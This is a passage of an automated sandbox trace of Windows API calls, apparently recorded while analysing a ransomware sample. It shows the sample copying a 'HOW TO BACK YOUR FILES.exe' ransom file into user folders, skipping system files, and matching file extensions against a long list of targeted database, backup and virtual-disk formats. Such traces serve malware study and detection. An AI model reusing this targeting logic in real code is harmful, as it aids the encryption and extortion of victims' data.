returned="dnjzxr_yz0y8iBl8rhol" [0102.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5f0 [0102.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xac) returned 0x542d50 [0102.646] lstrcatW (in: lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="\\" | out: lpString1="dnjzxr_yz0y8iBl8rhol\\") returned="dnjzxr_yz0y8iBl8rhol\\" [0102.646] lstrcatW (in: lpString1="dnjzxr_yz0y8iBl8rhol\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="dnjzxr_yz0y8iBl8rhol\\HOW TO BACK YOUR FILES.exe") returned="dnjzxr_yz0y8iBl8rhol\\HOW TO BACK YOUR FILES.exe" [0102.646] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\dnjzxr_yz0y8iBl8rhol\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\dnjzxr_yz0y8ibl8rhol\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.648] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7654c60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7654c60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.648] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.648] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7654c60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7654c60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0102.648] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.648] ReleaseMutex (hMutex=0xec) returned 1 [0102.648] CloseHandle (hObject=0xec) returned 1 [0102.648] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo" [0102.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532db8 | out: hHeap=0x4f0000) returned 1 [0102.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c5d8 | out: hHeap=0x4f0000) returned 1 [0102.648] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo") returned 71 [0102.648] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6B1CB4CE7B213DE897E3D9A46A34FAA7") returned 0xec [0102.648] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.649] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo" [0102.649] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.649] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.649] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.649] GetLastError () returned 0x0 [0102.649] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.649] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.650] CloseHandle (hObject=0xf4) returned 1 [0102.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.650] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.650] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac1a5c0, ftCreationTime.dwHighDateTime=0x1d4c91a, ftLastAccessTime.dwLowDateTime=0xc76a0f20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc76a0f20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.651] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.651] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.651] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.652] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac1a5c0, ftCreationTime.dwHighDateTime=0x1d4c91a, ftLastAccessTime.dwLowDateTime=0xc76a0f20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc76a0f20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.652] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.653] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.653] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.653] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.653] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819acb10, ftCreationTime.dwHighDateTime=0x1d4ccfb, ftLastAccessTime.dwLowDateTime=0x6f93af0, ftLastAccessTime.dwHighDateTime=0x1d4cbab, ftLastWriteTime.dwLowDateTime=0x6f93af0, ftLastWriteTime.dwHighDateTime=0x1d4cbab, nFileSizeHigh=0x0, nFileSizeLow=0xd526, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Fgf.swf", cAlternateFileName="")) returned 1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2=".") returned 1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="..") returned 1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="windows") returned -1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="bootmgr") returned -1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="temp") returned -1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="pagefile.sys") returned -1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="boot") returned -1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="ids.txt") returned -1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="ntuser.dat") returned -1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="perflogs") returned -1 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2="MSBuild") returned -1 [0102.653] lstrlenW (lpString="5Fgf.swf") returned 8 [0102.653] lstrcpyW (in: lpString1=0x241e8d8, lpString2="5Fgf.swf" | out: lpString1="5Fgf.swf") returned="5Fgf.swf" [0102.653] lstrlenW (lpString="5Fgf.swf") returned 8 [0102.653] lstrlenW (lpString="Athena865") returned 9 [0102.653] lstrlenW (lpString=".dll") returned 4 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2=".dll") returned 1 [0102.653] lstrlenW (lpString=".lnk") returned 4 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2=".lnk") returned 1 [0102.653] lstrlenW (lpString=".ini") returned 4 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2=".ini") returned 1 [0102.653] lstrlenW (lpString=".sys") returned 4 [0102.653] lstrcmpiW (lpString1="5Fgf.swf", lpString2=".sys") returned 1 [0102.653] lstrlenW (lpString="5Fgf.swf") returned 8 [0102.653] lstrlenW (lpString="bak") returned 3 [0102.653] lstrcmpiW (lpString1="swf", lpString2="bak") returned 1 [0102.654] lstrlenW (lpString="ba_") returned 3 [0102.654] lstrcmpiW (lpString1="swf", lpString2="ba_") returned 1 [0102.654] lstrlenW (lpString="dbb") returned 3 [0102.654] lstrcmpiW (lpString1="swf", lpString2="dbb") returned 1 [0102.654] lstrlenW (lpString="vmdk") returned 4 [0102.654] lstrcmpiW (lpString1=".swf", lpString2="vmdk") returned -1 [0102.654] lstrlenW (lpString="rar") returned 3 [0102.654] lstrcmpiW (lpString1="swf", lpString2="rar") returned 1 [0102.654] lstrlenW (lpString="zip") returned 3 [0102.654] lstrcmpiW (lpString1="swf", lpString2="zip") returned -1 [0102.654] lstrlenW (lpString="tgz") returned 3 [0102.654] lstrcmpiW (lpString1="swf", lpString2="tgz") returned -1 [0102.654] lstrlenW (lpString="vbox") returned 4 [0102.654] lstrcmpiW (lpString1=".swf", lpString2="vbox") returned -1 [0102.654] lstrlenW (lpString="vdi") returned 3 [0102.654] lstrcmpiW (lpString1="swf", lpString2="vdi") returned -1 [0102.654] lstrlenW (lpString="vhd") returned 3 [0102.654] lstrcmpiW (lpString1="swf", lpString2="vhd") returned -1 [0102.654] lstrlenW (lpString="vhdx") returned 4 [0102.654] lstrcmpiW (lpString1=".swf", lpString2="vhdx") returned -1 [0102.654] lstrlenW (lpString="avhd") returned 4 [0102.654] lstrcmpiW (lpString1=".swf", lpString2="avhd") returned -1 [0102.654] lstrlenW (lpString="db") returned 2 [0102.654] lstrcmpiW (lpString1="wf", lpString2="db") returned 1 [0102.654] lstrlenW (lpString="db2") returned 3 [0102.654] lstrcmpiW (lpString1="swf", lpString2="db2") returned 1 [0102.654] lstrlenW (lpString="db3") returned 3 [0102.654] lstrcmpiW (lpString1="swf", lpString2="db3") returned 1 [0102.654] lstrlenW (lpString="dbf") returned 3 [0102.654] lstrcmpiW (lpString1="swf", lpString2="dbf") returned 1 [0102.655] lstrlenW (lpString="mdf") returned 3 [0102.655] lstrcmpiW (lpString1="swf", lpString2="mdf") returned 1 [0102.655] lstrlenW (lpString="mdb") returned 3 [0102.655] lstrcmpiW (lpString1="swf", lpString2="mdb") returned 1 [0102.655] lstrlenW (lpString="sql") returned 3 [0102.655] lstrcmpiW (lpString1="swf", lpString2="sql") returned 1 [0102.655] lstrlenW (lpString="sqlite") returned 6 [0102.655] lstrcmpiW (lpString1="gf.swf", lpString2="sqlite") returned -1 [0102.655] lstrlenW (lpString="sqlite3") returned 7 [0102.655] lstrcmpiW (lpString1="Fgf.swf", lpString2="sqlite3") returned -1 [0102.655] lstrlenW (lpString="sqlitedb") returned 8 [0102.655] lstrlenW (lpString="xml") returned 3 [0102.655] lstrcmpiW (lpString1="swf", lpString2="xml") returned -1 [0102.655] lstrlenW (lpString="$er") returned 3 [0102.655] lstrcmpiW (lpString1="swf", lpString2="$er") returned 1 [0102.655] lstrlenW (lpString="4dd") returned 3 [0102.655] lstrcmpiW (lpString1="swf", lpString2="4dd") returned 1 [0102.655] lstrlenW (lpString="4dl") returned 3 [0102.655] lstrcmpiW (lpString1="swf", lpString2="4dl") returned 1 [0102.655] lstrlenW (lpString="^^^") returned 3 [0102.655] lstrcmpiW (lpString1="swf", lpString2="^^^") returned 1 [0102.655] lstrlenW (lpString="abs") returned 3 [0102.655] lstrcmpiW (lpString1="swf", lpString2="abs") returned 1 [0102.655] lstrlenW (lpString="abx") returned 3 [0102.655] lstrcmpiW (lpString1="swf", lpString2="abx") returned 1 [0102.655] lstrlenW (lpString="accdb") returned 5 [0102.655] lstrcmpiW (lpString1="f.swf", lpString2="accdb") returned 1 [0102.655] lstrlenW (lpString="accdc") returned 5 [0102.655] lstrcmpiW (lpString1="f.swf", lpString2="accdc") returned 1 [0102.655] lstrlenW (lpString="accde") returned 5 [0102.655] lstrcmpiW (lpString1="f.swf", lpString2="accde") returned 1 [0102.655] lstrlenW (lpString="accdr") returned 5 [0102.656] lstrcmpiW (lpString1="f.swf", lpString2="accdr") returned 1 [0102.656] lstrlenW (lpString="accdt") returned 5 [0102.656] lstrcmpiW (lpString1="f.swf", lpString2="accdt") returned 1 [0102.656] lstrlenW (lpString="accdw") returned 5 [0102.656] lstrcmpiW (lpString1="f.swf", lpString2="accdw") returned 1 [0102.656] lstrlenW (lpString="accft") returned 5 [0102.656] lstrcmpiW (lpString1="f.swf", lpString2="accft") returned 1 [0102.656] lstrlenW (lpString="adb") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1 [0102.656] lstrlenW (lpString="adb") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1 [0102.656] lstrlenW (lpString="ade") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="ade") returned 1 [0102.656] lstrlenW (lpString="adf") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="adf") returned 1 [0102.656] lstrlenW (lpString="adn") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="adn") returned 1 [0102.656] lstrlenW (lpString="adp") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="adp") returned 1 [0102.656] lstrlenW (lpString="alf") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="alf") returned 1 [0102.656] lstrlenW (lpString="ask") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="ask") returned 1 [0102.656] lstrlenW (lpString="btr") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="btr") returned 1 [0102.656] lstrlenW (lpString="cat") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="cat") returned 1 [0102.656] lstrlenW (lpString="cdb") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="cdb") returned 1 [0102.656] lstrlenW (lpString="ckp") returned 3 [0102.656] lstrcmpiW (lpString1="swf", lpString2="ckp") returned 1 [0102.657] lstrlenW (lpString="cma") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="cma") returned 1 [0102.657] lstrlenW (lpString="cpd") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="cpd") returned 1 [0102.657] lstrlenW (lpString="dacpac") returned 6 [0102.657] lstrcmpiW (lpString1="gf.swf", lpString2="dacpac") returned 1 [0102.657] lstrlenW (lpString="dad") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="dad") returned 1 [0102.657] lstrlenW (lpString="dadiagrams") returned 10 [0102.657] lstrlenW (lpString="daschema") returned 8 [0102.657] lstrlenW (lpString="db-journal") returned 10 [0102.657] lstrlenW (lpString="db-shm") returned 6 [0102.657] lstrcmpiW (lpString1="gf.swf", lpString2="db-shm") returned 1 [0102.657] lstrlenW (lpString="db-wal") returned 6 [0102.657] lstrcmpiW (lpString1="gf.swf", lpString2="db-wal") returned 1 [0102.657] lstrlenW (lpString="dbc") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="dbc") returned 1 [0102.657] lstrlenW (lpString="dbs") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="dbs") returned 1 [0102.657] lstrlenW (lpString="dbt") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="dbt") returned 1 [0102.657] lstrlenW (lpString="dbv") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="dbv") returned 1 [0102.657] lstrlenW (lpString="dbx") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="dbx") returned 1 [0102.657] lstrlenW (lpString="dcb") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="dcb") returned 1 [0102.657] lstrlenW (lpString="dct") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="dct") returned 1 [0102.657] lstrlenW (lpString="dcx") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="dcx") returned 1 [0102.657] lstrlenW (lpString="ddl") returned 3 [0102.657] lstrcmpiW (lpString1="swf", lpString2="ddl") returned 1 [0102.657] lstrlenW (lpString="dlis") returned 4 [0102.658] lstrcmpiW (lpString1=".swf", lpString2="dlis") returned -1 [0102.658] lstrlenW (lpString="dp1") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="dp1") returned 1 [0102.658] lstrlenW (lpString="dqy") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="dqy") returned 1 [0102.658] lstrlenW (lpString="dsk") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="dsk") returned 1 [0102.658] lstrlenW (lpString="dsn") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="dsn") returned 1 [0102.658] lstrlenW (lpString="dtsx") returned 4 [0102.658] lstrcmpiW (lpString1=".swf", lpString2="dtsx") returned -1 [0102.658] lstrlenW (lpString="dxl") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="dxl") returned 1 [0102.658] lstrlenW (lpString="eco") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="eco") returned 1 [0102.658] lstrlenW (lpString="ecx") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="ecx") returned 1 [0102.658] lstrlenW (lpString="edb") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="edb") returned 1 [0102.658] lstrlenW (lpString="epim") returned 4 [0102.658] lstrcmpiW (lpString1=".swf", lpString2="epim") returned -1 [0102.658] lstrlenW (lpString="fcd") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="fcd") returned 1 [0102.658] lstrlenW (lpString="fdb") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="fdb") returned 1 [0102.658] lstrlenW (lpString="fic") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="fic") returned 1 [0102.658] lstrlenW (lpString="flexolibrary") returned 12 [0102.658] lstrlenW (lpString="fm5") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="fm5") returned 1 [0102.658] lstrlenW (lpString="fmp") returned 3 [0102.658] lstrcmpiW (lpString1="swf", lpString2="fmp") returned 1 [0102.658] lstrlenW (lpString="fmp12") returned 5 [0102.659] lstrcmpiW (lpString1="f.swf", lpString2="fmp12") returned -1 [0102.659] lstrlenW (lpString="fmpsl") returned 5 [0102.659] lstrcmpiW (lpString1="f.swf", lpString2="fmpsl") returned -1 [0102.659] lstrlenW (lpString="fol") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="fol") returned 1 [0102.659] lstrlenW (lpString="fp3") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="fp3") returned 1 [0102.659] lstrlenW (lpString="fp4") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="fp4") returned 1 [0102.659] lstrlenW (lpString="fp5") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="fp5") returned 1 [0102.659] lstrlenW (lpString="fp7") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="fp7") returned 1 [0102.659] lstrlenW (lpString="fpt") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="fpt") returned 1 [0102.659] lstrlenW (lpString="frm") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="frm") returned 1 [0102.659] lstrlenW (lpString="gdb") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1 [0102.659] lstrlenW (lpString="gdb") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1 [0102.659] lstrlenW (lpString="grdb") returned 4 [0102.659] lstrcmpiW (lpString1=".swf", lpString2="grdb") returned -1 [0102.659] lstrlenW (lpString="gwi") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="gwi") returned 1 [0102.659] lstrlenW (lpString="hdb") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="hdb") returned 1 [0102.659] lstrlenW (lpString="his") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="his") returned 1 [0102.659] lstrlenW (lpString="ib") returned 2 [0102.659] lstrcmpiW (lpString1="wf", lpString2="ib") returned 1 [0102.659] lstrlenW (lpString="idb") returned 3 [0102.659] lstrcmpiW (lpString1="swf", lpString2="idb") returned 1 [0102.660] lstrlenW (lpString="ihx") returned 3 [0102.660] lstrcmpiW (lpString1="swf", lpString2="ihx") returned 1 [0102.660] lstrlenW (lpString="itdb") returned 4 [0102.660] lstrcmpiW (lpString1=".swf", lpString2="itdb") returned -1 [0102.660] lstrlenW (lpString="itw") returned 3 [0102.660] lstrcmpiW (lpString1="swf", lpString2="itw") returned 1 [0102.660] lstrlenW (lpString="jet") returned 3 [0102.660] lstrcmpiW (lpString1="swf", lpString2="jet") returned 1 [0102.660] lstrlenW (lpString="jtx") returned 3 [0102.660] lstrcmpiW (lpString1="swf", lpString2="jtx") returned 1 [0102.660] lstrlenW (lpString="kdb") returned 3 [0102.660] lstrcmpiW (lpString1="swf", lpString2="kdb") returned 1 [0102.660] lstrlenW (lpString="kexi") returned 4 [0102.660] lstrcmpiW (lpString1=".swf", lpString2="kexi") returned -1 [0102.660] lstrlenW (lpString="kexic") returned 5 [0102.660] lstrcmpiW (lpString1="f.swf", lpString2="kexic") returned -1 [0102.660] lstrlenW (lpString="kexis") returned 5 [0102.660] lstrcmpiW (lpString1="f.swf", lpString2="kexis") returned -1 [0102.660] lstrlenW (lpString="lgc") returned 3 [0102.660] lstrcmpiW (lpString1="swf", lpString2="lgc") returned 1 [0102.660] lstrlenW (lpString="lwx") returned 3 [0102.660] lstrcmpiW (lpString1="swf", lpString2="lwx") returned 1 [0102.660] lstrlenW (lpString="maf") returned 3 [0102.660] lstrcmpiW (lpString1="swf", lpString2="maf") returned 1 [0102.660] lstrlenW (lpString="maq") returned 3 [0102.660] lstrcmpiW (lpString1="swf", lpString2="maq") returned 1 [0102.660] lstrlenW (lpString="mar") returned 3 [0102.660] lstrcmpiW (lpString1="swf", lpString2="mar") returned 1 [0102.660] lstrlenW (lpString="marshal") returned 7 [0102.660] lstrcmpiW (lpString1="Fgf.swf", lpString2="marshal") returned -1 [0102.660] lstrlenW (lpString="mas") returned 3 [0102.660] lstrcmpiW (lpString1="swf", lpString2="mas") returned 1 [0102.660] lstrlenW (lpString="mav") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="mav") returned 1 [0102.661] lstrlenW (lpString="maw") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="maw") returned 1 [0102.661] lstrlenW (lpString="mdbhtml") returned 7 [0102.661] lstrcmpiW (lpString1="Fgf.swf", lpString2="mdbhtml") returned -1 [0102.661] lstrlenW (lpString="mdn") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="mdn") returned 1 [0102.661] lstrlenW (lpString="mdt") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="mdt") returned 1 [0102.661] lstrlenW (lpString="mfd") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="mfd") returned 1 [0102.661] lstrlenW (lpString="mpd") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="mpd") returned 1 [0102.661] lstrlenW (lpString="mrg") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="mrg") returned 1 [0102.661] lstrlenW (lpString="mud") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="mud") returned 1 [0102.661] lstrlenW (lpString="mwb") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="mwb") returned 1 [0102.661] lstrlenW (lpString="myd") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="myd") returned 1 [0102.661] lstrlenW (lpString="ndf") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="ndf") returned 1 [0102.661] lstrlenW (lpString="nnt") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="nnt") returned 1 [0102.661] lstrlenW (lpString="nrmlib") returned 6 [0102.661] lstrcmpiW (lpString1="gf.swf", lpString2="nrmlib") returned -1 [0102.661] lstrlenW (lpString="ns2") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="ns2") returned 1 [0102.661] lstrlenW (lpString="ns3") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="ns3") returned 1 [0102.661] lstrlenW (lpString="ns4") returned 3 [0102.661] lstrcmpiW (lpString1="swf", lpString2="ns4") returned 1 [0102.661] lstrlenW (lpString="nsf") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="nsf") returned 1 [0102.662] lstrlenW (lpString="nv") returned 2 [0102.662] lstrcmpiW (lpString1="wf", lpString2="nv") returned 1 [0102.662] lstrlenW (lpString="nv2") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="nv2") returned 1 [0102.662] lstrlenW (lpString="nwdb") returned 4 [0102.662] lstrcmpiW (lpString1=".swf", lpString2="nwdb") returned -1 [0102.662] lstrlenW (lpString="nyf") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="nyf") returned 1 [0102.662] lstrlenW (lpString="odb") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1 [0102.662] lstrlenW (lpString="odb") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1 [0102.662] lstrlenW (lpString="oqy") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="oqy") returned 1 [0102.662] lstrlenW (lpString="ora") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="ora") returned 1 [0102.662] lstrlenW (lpString="orx") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="orx") returned 1 [0102.662] lstrlenW (lpString="owc") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="owc") returned 1 [0102.662] lstrlenW (lpString="p96") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="p96") returned 1 [0102.662] lstrlenW (lpString="p97") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="p97") returned 1 [0102.662] lstrlenW (lpString="pan") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="pan") returned 1 [0102.662] lstrlenW (lpString="pdb") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="pdb") returned 1 [0102.662] lstrlenW (lpString="pdm") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="pdm") returned 1 [0102.662] lstrlenW (lpString="pnz") returned 3 [0102.662] lstrcmpiW (lpString1="swf", lpString2="pnz") returned 1 [0102.663] lstrlenW (lpString="qry") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="qry") returned 